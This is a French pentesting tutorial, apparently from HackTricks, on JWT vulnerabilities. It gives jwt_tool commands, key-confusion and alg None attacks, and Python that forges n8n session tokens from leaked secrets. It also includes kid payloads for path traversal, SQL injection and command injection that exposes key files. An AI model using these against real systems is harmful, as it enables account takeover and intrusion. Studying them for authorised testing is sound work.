Vulnérabilités JWT (Json Web Tokens)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Une partie de ce billet est basée sur l’excellent article : https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Auteur du super outil pour pentest JWTs https://github.com/ticarpi/jwt_tool

Gains rapides

Exécutez jwt_tool en mode All Tests! et attendez les lignes vertes

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Si vous êtes chanceux, l’outil trouvera un cas où l’application web vérifie incorrectement le JWT:

Ensuite, vous pouvez rechercher la requête dans votre proxy ou extraire le JWT utilisé pour cette requête en utilisant jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Altérer les données sans rien modifier

Vous pouvez simplement altérer les données en laissant la signature intacte et vérifier si le serveur vérifie la signature. Essayez par exemple de changer votre username en “admin”.

Le token est-il vérifié ?

Pour vérifier si la signature d’un JWT est contrôlée :

  • Un message d’erreur suggère une vérification en cours ; les détails sensibles dans des erreurs verbeuses doivent être examinés.
  • Un changement dans la page retournée indique aussi une vérification.
  • Aucun changement suggère l’absence de vérification ; c’est le moment d’expérimenter en tampering les claims du payload.

Origin

Il est important de déterminer si le token a été généré côté serveur ou côté client en examinant l’historique des requêtes du proxy.

  • Les tokens vus pour la première fois côté client suggèrent que la key pourrait être exposée au code client, ce qui nécessite une investigation plus approfondie.
  • Les tokens provenant côté serveur indiquent un processus sécurisé.

Duration

Vérifiez si le token dure plus de 24h… peut-être qu’il n’expire jamais. S’il y a un champ “exp”, vérifiez si le serveur le gère correctement.

Brute-force HMAC secret

See this page.

Derive JWT secrets from leaked config + DB data

If an arbitrary file read (or backup leak) exposes both application encryption material and user records, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:

  1. Leak the app key (e.g., encryptionKey) from a config file.
  2. Leak the user table to obtain email, password_hash, and user_id.
  3. Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Déposez le token signé dans le cookie de session (par ex., n8n-auth) pour vous faire passer pour le compte utilisateur/administrateur même si le hash du mot de passe est salé.

Modifier l’algorithme en None

Définissez l’algorithme sur “None” et supprimez la partie signature.

Utilisez l’extension Burp appelée “JSON Web Token” pour tester cette vulnérabilité et modifier différentes valeurs à l’intérieur du JWT (envoyez la requête à Repeater et, dans l’onglet “JSON Web Token”, vous pouvez modifier les valeurs du token. Vous pouvez aussi sélectionner la valeur du champ “Alg” sur “None”).

Changer l’algorithme RS256(asymmetric) en HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

L’algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.
L’algorithme RS256 utilise la clé privée pour signer le message et la clé publique pour l’authentification.

Si vous changez l’algorithme de RS256 à HS256, le code back-end utilise la clé publique comme clé secrète puis utilise l’algorithme HS256 pour vérifier la signature.

Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pouvons créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nouvelle clé publique dans l’en-tête

Un attaquant insère une nouvelle clé dans l’en-tête du token et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114).

Ceci peut être fait avec l’extension Burp “JSON Web Tokens”.
(Envoyez la requête vers Repeater, dans l’onglet JSON Web Token sélectionnez “CVE-2018-0114” et envoyez la requête).

JWKS Spoofing

Les instructions détaillent une méthode pour évaluer la sécurité des JWT tokens, en particulier ceux utilisant la revendication d’en-tête “jku”. Cette revendication doit pointer vers un fichier JWKS (JSON Web Key Set) contenant la clé publique nécessaire à la vérification du token.

  • Assessing Tokens with “jku” Header:

  • Vérifiez l’URL de la revendication “jku” pour vous assurer qu’elle mène au fichier JWKS approprié.

  • Modifiez la valeur “jku” du token pour la diriger vers un service web contrôlé, ce qui permet d’observer le trafic.

  • Monitoring for HTTP Interaction:

  • Observer des requêtes HTTP vers votre URL spécifiée indique que le serveur essaie de récupérer des clés depuis le lien fourni.

  • Lorsque vous utilisez jwt_tool pour ce processus, il est crucial de mettre à jour le fichier jwtconf.ini avec l’emplacement de votre JWKS afin de faciliter les tests.

  • Command for jwt_tool:

  • Exécutez la commande suivante pour simuler le scénario avec jwt_tool :

python3 jwt_tool.py JWT_HERE -X s

Vue d’ensemble des problèmes liés au “kid”

Une revendication d’en-tête optionnelle nommée kid est utilisée pour identifier une clé spécifique, ce qui devient particulièrement important dans les environnements où plusieurs clés existent pour la vérification de la signature des tokens. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d’un token.

Révéler la clé via “kid”

Quand la revendication kid est présente dans l’en-tête, il est conseillé de rechercher dans le répertoire web le fichier correspondant ou ses variantes. Par exemple, si "kid":"key/12345" est spécifié, il faut chercher les fichiers /key/12345 et /key/12345.pem à la racine web.

Path Traversal with “kid”

La revendication kid peut aussi être exploitée pour naviguer dans le système de fichiers, permettant potentiellement de sélectionner un fichier arbitraire. Il est possible de tester la connectivité ou d’exécuter des attaques Server-Side Request Forgery (SSRF) en modifiant la valeur kid pour cibler des fichiers ou services spécifiques. Altérer le JWT pour changer la valeur kid tout en conservant la signature originale peut être réalisé en utilisant le flag -T dans jwt_tool, comme montré ci‑dessous:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

En ciblant des fichiers au contenu prévisible, il est possible de forger un JWT valide. Par exemple, le fichier /proc/sys/kernel/randomize_va_space sur les systèmes Linux, connu pour contenir la valeur 2, peut être utilisé dans le paramètre kid avec 2 comme mot de passe symétrique pour la génération du JWT.

SQL Injection via “kid”

Si le contenu de la claim kid est employé pour récupérer un mot de passe depuis une base de données, une SQL injection peut être facilitée en modifiant le payload du kid. Un exemple de payload qui utilise une SQL injection pour altérer le processus de signature du JWT inclut :

non-existent-index' UNION SELECT 'ATTACKER';-- -

Cette modification force l’utilisation d’une clé secrète connue, ATTACKER, pour la signature du JWT.

OS Injection through “kid”

Un scénario où le paramètre kid spécifie un chemin de fichier utilisé dans un contexte d’exécution de commande pourrait conduire à des vulnérabilités de Remote Code Execution (RCE). En injectant des commandes dans le paramètre kid, il est possible d’exposer des clés privées. Un exemple de payload pour obtenir du RCE et exposer une clé est :

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.\ If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

First you need to create a new certificate with new private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Ensuite, vous pouvez par exemple utiliser jwt.io pour créer le nouveau JWT avec les public and private keys créées et en pointant le paramètre jku vers le certificat créé.

Pour créer un certificat jku valide, vous pouvez télécharger l’original et modifier les paramètres nécessaires.

Vous pouvez obtenir les paramètres “e” et “n” d’un certificat public en utilisant :

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. Une URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés en PEM. Le premier certificat de l’ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans RFC 52807. La sécurité de transport est requise pour transférer les certificats.

Essayez de changer cet en-tête en une URL sous votre contrôle et vérifiez si une requête est reçue. Dans ce cas, vous pourriez altérer le JWT.

Pour forger un nouveau token en utilisant un certificat contrôlé par vous, vous devez créer le certificat et extraire les clés publique et privée:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Ensuite, vous pouvez par exemple utiliser jwt.io pour créer le nouveau JWT avec les clés publique et privée créées et en pointant le paramètre x5u vers le certificat .crt créé.

Vous pouvez aussi abuser des deux vulns for SSRFs.

x5c

Ce paramètre peut contenir le certificat en base64:

Si l’attaquant génère un certificat auto-signé et crée un jeton forgé en utilisant la clé privée correspondante, remplace la valeur du paramètre “x5c” par le certificat nouvellement généré et modifie les autres paramètres, à savoir n, e et x5t, alors essentiellement le jeton forgé serait accepté par le serveur.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Clé publique embarquée (CVE-2018-0114)

Si le JWT contient une clé publique embarquée comme dans le scénario suivant :

En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données :

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Il est possible de générer une nouvelle paire de clés privée/publique, d’imbriquer la nouvelle clé publique dans le token et de l’utiliser pour générer une nouvelle signature :

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Vous pouvez obtenir le “n” et le “e” en utilisant ce script nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Enfin, en utilisant la clé publique et privée et les nouvelles valeurs “n” et “e” vous pouvez utiliser jwt.io pour forger un nouveau JWT valide avec n’importe quelles informations.

ES256: Revealing the private key with same nonce

Si certaines applications utilisent ES256 et le même nonce pour générer deux JWT, la clé privée peut être reconstituée.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

La claim JTI (JWT ID) fournit un identifiant unique pour un JWT Token. Il peut être utilisé pour empêcher le token d’être replayé.
Cependant, imaginez une situation où la longueur maximale de l’ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc si le backend incrémente l’ID à chaque requête vous pourriez abuser de ceci pour rejouer une requête (nécessitant d’envoyer 10000 requêtes entre chaque replay réussi).

Claims enregistrés JWT

JSON Web Token (JWT)

Autres attaques

Cross-service Relay Attacks

Il a été observé que certaines applications web s’appuient sur un service JWT de confiance pour la génération et la gestion de leurs tokens. Des cas ont été enregistrés où un token, généré pour un client par le service JWT, était accepté par un autre client du même service JWT. Si l’émission ou le renouvellement d’un JWT via un service tiers est observé, il convient d’examiner la possibilité de créer un compte sur un autre client de ce service en utilisant le même nom d’utilisateur/email. Il faut ensuite tenter de rejouer le token obtenu dans une requête vers la cible pour voir s’il est accepté.

  • L’acceptation de votre token peut indiquer un problème critique, permettant potentiellement le spoofing du compte de n’importe quel utilisateur. Cependant, il convient de noter que l’autorisation pour des tests plus larges peut être requise si l’on crée un compte sur une application tierce, car cela pourrait entrer dans une zone juridique grise.

Expiry Check of Tokens

L’expiration du token est vérifiée en utilisant la claim “exp” du Payload. Étant donné que les JWT sont souvent employés sans information de session, une gestion prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d’un autre utilisateur pourrait permettre l’usurpation de cet utilisateur. Le RFC JWT recommande d’atténuer les attaques de replay de JWT en utilisant la claim “exp” pour définir un temps d’expiration pour le token. De plus, il est crucial que l’application implémente les vérifications appropriées pour s’assurer du traitement de cette valeur et du rejet des tokens expirés. Si le token inclut une claim “exp” et que les contraintes de temps de test le permettent, il est conseillé de stocker le token et de le rejouer après l’expiration. Le contenu du token, y compris le parsing des timestamps et la vérification d’expiration (timestamp en UTC), peut être lu en utilisant le flag -R de jwt_tool.

  • Un risque de sécurité peut être présent si l’application continue de valider le token, car cela peut impliquer que le token ne pourrait jamais expirer.

Outils

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks